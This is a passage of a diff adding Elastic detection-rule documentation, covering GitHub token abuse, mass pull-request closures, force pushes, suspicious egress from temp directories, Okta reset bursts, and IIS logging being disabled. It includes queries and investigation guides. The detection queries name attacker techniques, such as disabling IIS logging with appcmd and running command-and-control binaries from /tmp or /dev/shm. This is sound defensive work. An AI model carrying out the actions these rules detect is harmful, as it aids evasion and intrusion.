sensitive or proprietary information that may have been exposed. +- Implement additional access controls, such as IP whitelisting or two-factor authentication, to enhance security for accessing private repositories. +- Monitor for any unusual activity or further unauthorized access attempts using other PATs or credentials. +- Escalate the incident to the security team for a comprehensive investigation and to determine if any other systems or data have been compromised. +- Update and enforce policies regarding the creation, usage, and management of PATs to prevent similar incidents in the future. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"github.audit" and event.category:"configuration" and event.action:"git.clone" and +github.programmatic_access_type:("OAuth access token" or "Fine-grained personal access token") and +github.repository_public:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-closed-pull-requests-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-closed-pull-requests-by-user.asciidoc new file mode 100644 index 0000000000..89f29e4ddf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-closed-pull-requests-by-user.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-high-number-of-closed-pull-requests-by-user]] +=== High Number of Closed Pull Requests by User + +Detects a high number of closed pull requests by a single user within a short time frame. Adversaries may close multiple pull requests to disrupt development workflows or hide malicious changes. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Closed Pull Requests by User* + + +This rule flags a single user rapidly closing many pull requests in a short window, a disruptive pattern that suppresses review history, delays releases, and masks unauthorized changes. An attacker with stolen maintainer access mass-closes pull requests across multiple repositories, then force-pushes branches and opens new pull requests that sidestep earlier review threads, making malicious edits appear routine amid churn. + + +*Possible investigation steps* + + +- Determine if the actor is a bot or sanctioned maintenance by confirming account type, scheduled workflows, and change advisories from repo/org owners. +- Open a sample of the closed PRs to review comments, labels, linked issues, and whether closure coincided with branch deletions, force-pushes, or unusual commit history in the target branches. +- Correlate the closure burst with audit events for permission changes, role assignments, repository settings edits, or protection rule modifications to detect potential sabotage. +- Validate the actor’s IPs, geolocation, and user agents against baselines and check for recent PAT creations, OAuth app grants, or SSO anomalies indicating credential theft. +- Identify whether closed PRs were immediately replaced by new PRs carrying similar diffs that bypass prior review threads and required checks, and verify branch protection remained enforced. + + +*False positive analysis* + + +- A maintainer or org-owned bot performs scheduled backlog hygiene, closing stale, duplicate, or superseded PRs across multiple repositories after a default branch rename or policy update, resulting in a high closure count from one account. +- During a planned migration or archival, a release manager closes PRs tied to deprecated branches and consolidates work into new targets, legitimately generating a burst of closures attributed to a single user. + + +*Response and remediation* + + +- Immediately contain by removing the user from teams with Triage/Write permissions on affected repositories, revoking their personal access tokens from Tokens & keys, and tightening branch protection by disallowing force-pushes and restricting who can push to main and release branches. +- Trigger escalation to Security Incident Response if closed pull requests span more than five repositories within one hour, coincide with branch deletions or forced pushes, or originate from a new user agent/IP, and disable the account at the identity provider while contacting GitHub Support. +- Eradicate impact by reopening legitimate PRs via each closed PR URL, using Restore branch or recreating the head branch from the last known commit SHA, and reapplying required labels and reviewers. +- Recover repository state by comparing diffs of closed PRs to any newly opened PRs by the same user, reverting unauthorized commits in target branches with git revert, and re-running required status checks before merging. +- Harden controls by enforcing branch protection rules (require two approvals, restrict who can dismiss reviews, require signed commits), enabling CODEOWNERS for critical paths, and turning off Allow deletions on default and release branches. +- Prevent recurrence by disabling classic PATs and requiring short-lived fine-grained PATs, revoking unusual OAuth app grants, mandating SSO with hardware-backed MFA, and installing a GitHub App/Action that notifies on PR closures with PR URLs, repos, and branches and requires a reason-coded label per policy. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + github.category == "pull_request" and + event.type == "change" and + event.action == "pull_request.close" +| stats + Esql.document_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_user_agent_values = values(github.user_agent), + Esql.github_pull_request_url_values = values(github.pull_request_url), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.document_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-egress-network-connections-from-unusual-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-egress-network-connections-from-unusual-executable.asciidoc new file mode 100644 index 0000000000..c8df3e215e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-egress-network-connections-from-unusual-executable.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-21-high-number-of-egress-network-connections-from-unusual-executable]] +=== High Number of Egress Network Connections from Unusual Executable + +This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Egress Network Connections from Unusual Executable* + + +In Linux environments, executables can initiate network connections for legitimate purposes. However, adversaries exploit this by deploying malware in temporary directories to establish command and control (C2) channels. The detection rule identifies unusual executables making numerous outbound connections, excluding trusted IP ranges and known benign paths, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process.executable field to identify the specific executable making the connections and determine if it is known or expected in the environment. +- Examine the destination.ip field to identify the external IP addresses the executable is attempting to connect to and check if they are known malicious or suspicious. +- Check the host.os.type and agent.id fields to identify the specific host and agent involved, and gather additional context about the system's role and recent activity. +- Analyze the @timestamp field to correlate the timing of the connections with other events or activities on the network or host. +- Cross-reference the identified executable and IP addresses with threat intelligence sources to determine if they are associated with known threats or campaigns. +- If the executable is determined to be malicious or suspicious, isolate the affected host and perform a deeper forensic analysis to identify any additional indicators of compromise or lateral movement. + + +*False positive analysis* + + +- Executables in temporary directories used by legitimate applications or scripts can trigger alerts. Review the process name and executable path to determine if they are associated with known applications or scripts. +- Automated scripts or cron jobs that perform network operations might be flagged. Identify these scripts and consider excluding their paths from the rule if they are verified as non-malicious. +- Development or testing environments often use temporary directories for network operations. If these environments are known and trusted, add their specific paths to the exclusion list. +- Backup or synchronization tools that use temporary directories for data transfer can generate numerous connections. Verify these tools and exclude their paths if they are confirmed to be safe. +- Security tools or monitoring agents that operate in temporary directories might be mistakenly flagged. Confirm their legitimacy and exclude their paths to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further potential malicious communication and lateral movement. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the infection. +- Remove any malicious executables or files found in temporary directories such as /tmp, /var/tmp, or /dev/shm to eliminate the threat. +- Patch and update the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor network traffic for any unusual outbound connections from other systems to detect potential spread or similar threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + ( + process.executable like "/tmp/*" or + process.executable like "/var/tmp/*" or + process.executable like "/dev/shm/*" or + process.executable like "/var/log/*" or + process.executable like "/sys/*" or + process.executable like "/media/*" or + process.executable like "/proc/*" or + process.executable like "/var/backups/*" or + process.executable like "/var/mail/*" or + process.executable like "/var/spool/*" or + process.executable like "./*" or + process.name like ".*" + ) and + not ( + cidr_match(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.29/32", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) or + process.executable like "/tmp/newroot/*" or + process.executable like "/tmp/.mount*" or + process.executable like "/tmp/go-build*" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.executable, + destination.ip, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count > 15 + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| sort Esql.event_count asc + +| keep agent.id, host.name, process.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc new file mode 100644 index 0000000000..42b73faea2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-high-number-of-okta-user-password-reset-or-unlock-attempts]] +=== High Number of Okta User Password Reset or Unlock Attempts + +Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 417 + +*Rule authors*: + +* Elastic +* @BenB196 +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating High Number of Okta User Password Reset or Unlock Attempts* + + +This rule is designed to detect a suspiciously high number of password reset or account unlock attempts in Okta. Excessive password resets or account unlocks can be indicative of an attacker's attempt to gain unauthorized access to an account. + + +*Possible investigation steps:* + +- Identify the actor associated with the excessive attempts. The `okta.actor.alternate_id` field can be used for this purpose. +- Determine the client used by the actor. You can look at `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context`. +- Review the `okta.outcome.result` and `okta.outcome.reason` fields to understand the outcome of the password reset or unlock attempts. +- Review the event actions associated with these attempts. Look at the `event.action` field and filter for actions related to password reset and account unlock attempts. +- Check for other similar patterns of behavior from the same actor or IP address. If there is a high number of failed login attempts before the password reset or unlock attempts, this may suggest a brute force attack. +- Also, look at the times when these attempts were made. If these were made during off-hours, it could further suggest an adversary's activity. + + +*False positive analysis:* + +- This alert might be a false positive if there are legitimate reasons for a high number of password reset or unlock attempts. This could be due to the user forgetting their password or account lockouts due to too many incorrect attempts. +- Check the actor's past behavior. If this is their usual behavior and they have a valid reason for it, then it might be a false positive. + + +*Response and remediation:* + +- If unauthorized attempts are confirmed, initiate the incident response process. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Block the IP address or device used in the attempts, if they appear suspicious. +- If the attack was facilitated by a particular technique, ensure your systems are patched or configured to prevent such techniques. +- Consider a security review of your Okta policies and rules to ensure they follow security best practices. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and + event.action:(system.email.account_unlock.sent_message or system.email.password_reset.sent_message or + system.sms.send_account_unlock_message or system.sms.send_password_reset_message or + system.voice.send_account_unlock_call or system.voice.send_password_reset_call or + user.account.unlock_token) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-protected-branch-force-pushes-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-protected-branch-force-pushes-by-user.asciidoc new file mode 100644 index 0000000000..2ea48d1d34 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-high-number-of-protected-branch-force-pushes-by-user.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-21-high-number-of-protected-branch-force-pushes-by-user]] +=== High Number of Protected Branch Force Pushes by User + +Detects a high number of force push actions to protected branches by a single user within a short time frame. Adversaries may perform force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Number of Protected Branch Force Pushes by User* + + +This rule flags a single user performing many force pushes to protected branches in a short window, signaling aggressive history rewrites on critical repositories. Such activity can erase commits, hide unauthorized changes, and disrupt builds or releases, indicating potential data destruction or sabotage. Example: a compromised maintainer acquires elevated access and repeatedly force-pushes rewritten history to the main branch to purge prior commits, remove security fixes, and introduce a backdoor while bypassing merge protections. + + +*Possible investigation steps* + + +- Verify the user's current and recent org/repo roles and bypass permissions, along with any recent elevation, SSO changes, or new PAT/GitHub App installations linked to the account. +- Enumerate impacted repositories and protected branches, then reconstruct the overwritten history by comparing before/after SHAs from audit logs or local mirrors to determine what commits were removed or rewritten. +- Assess intent and legitimacy by contacting repo owners and checking change tickets or maintenance windows for planned history rewrites, and suspend override permissions if unplanned while preserving forensic evidence. +- Analyze sign-in and authentication telemetry around the events (IP, geo, MFA status, device, OAuth/PAT/App identifiers, off-hours) to spot account compromise indicators and pivot to other activity by the same token. +- Review diffs of the resulting branch heads and CI/CD artifacts to detect malicious changes (e.g., removed security fixes, inserted secrets/backdoors), and check for anomalous releases or workflows triggered by the rewritten commits. + + +*False positive analysis* + + +- An authorized maintainer conducts a planned history rewrite (rebases/resets to remove problematic commits) across protected branches in multiple repositories, legitimately invoking policy overrides and issuing many force pushes in quick succession. +- A release owner executes an emergency rollback by resetting protected branches to a known-good commit across several repositories, causing repeated, intentional force pushes and protected-branch overrides. + + +*Response and remediation* + + +- Immediately contain by removing the user from repo admin/maintain teams, revoking all active PATs/OAuth/App tokens linked to the account, and updating branch protection on affected branches to disallow force pushes and restrict pushes to a small trusted group. +- Freeze each impacted protected branch by creating an annotated tag at the last known-good commit SHA prior to the force pushes and temporarily pausing CI/CD workflows that build from those branch heads. +- Recover by restoring each branch head to the last known-good commit or signed tag from a trusted mirror/backup, verifying the target SHA, and re-enabling protections and required status checks after integrity confirmation. +- Eradicate unauthorized changes by diffing the pre-override and post-override branch heads, reverting malicious edits, rotating repository secrets referenced in code/workflows, and removing suspicious GitHub Apps installed by the user. +- Escalate to incident response and legal if any overwritten history includes production release branches or signed tags, if the user denies authorization, or if pushes originated from a new token/App unknown to repo owners. +- Harden by enforcing rulesets that block force pushes and require linear history on main and release/* branches, enabling CODEOWNERS-required reviews and signed commits, limiting bypass permissions to a small admin group, and using deploy keys or CI bots with short-lived tokens for pushes. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + event.type == "change" and + event.action == "protected_branch.policy_override" and + github.category == "protected_branch" and + mv_contains(github.reasons.code, "force_push") +| stats + Esql.event_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_overridden_codes_values = values(github.overridden_codes), + Esql.github_reasons_code_values = values(github.reasons.code), + Esql.github_reasons_message_values = values(github.reasons.message), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.event_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-iis-http-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-iis-http-logging-disabled.asciidoc new file mode 100644 index 0000000000..ff91479947 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-iis-http-logging-disabled.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-iis-http-logging-disabled]] +=== IIS HTTP Logging Disabled + +Identifies when Internet Information Services (IIS) HTTP Logging is disabled on a server. An attacker with IIS server access via a webshell or other mechanism can disable HTTP Logging as an effective anti-forensics measure. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating IIS HTTP Logging Disabled* + + +IIS (Internet Information Services) is a Microsoft web server software used to host websites and web applications on Windows. It provides features for serving dynamic and static content, and can be managed through a graphical interface or command-line tools. + +IIS logging is a data source that can be used for security monitoring, forensics, and incident response. It contains mainly information related to requests done to the web server, and can be used to spot malicious activities like webshells. Adversaries can tamper, clear, and delete this data to evade detection, cover their tracks, and slow down incident response. + +This rule monitors commands that disable IIS logging. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Verify whether the logs stored in the `C:\inetpub\logs\logfiles\w3svc1` directory were deleted after this action. +- Check if this operation is done under change management and approved according to the organization's policy. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Re-enable affected logging components, services, and security monitoring. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "appcmd.exe" or ?process.pe.original_file_name == "appcmd.exe") and + process.args : "/dontLog*:*True" and + not process.parent.name : "iissetup.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-image-file-execution-options-injection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-image-file-execution-options-injection.asciidoc new file mode 100644 index 0000000000..b9b2f36006 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-image-file-execution-options-injection.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-image-file-execution-options-injection]] +=== Image File Execution Options Injection + +The Debugger and SilentProcessExit registry keys can allow an adversary to intercept the execution of files, causing a different process to be executed. This functionality can be abused by an adversary to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 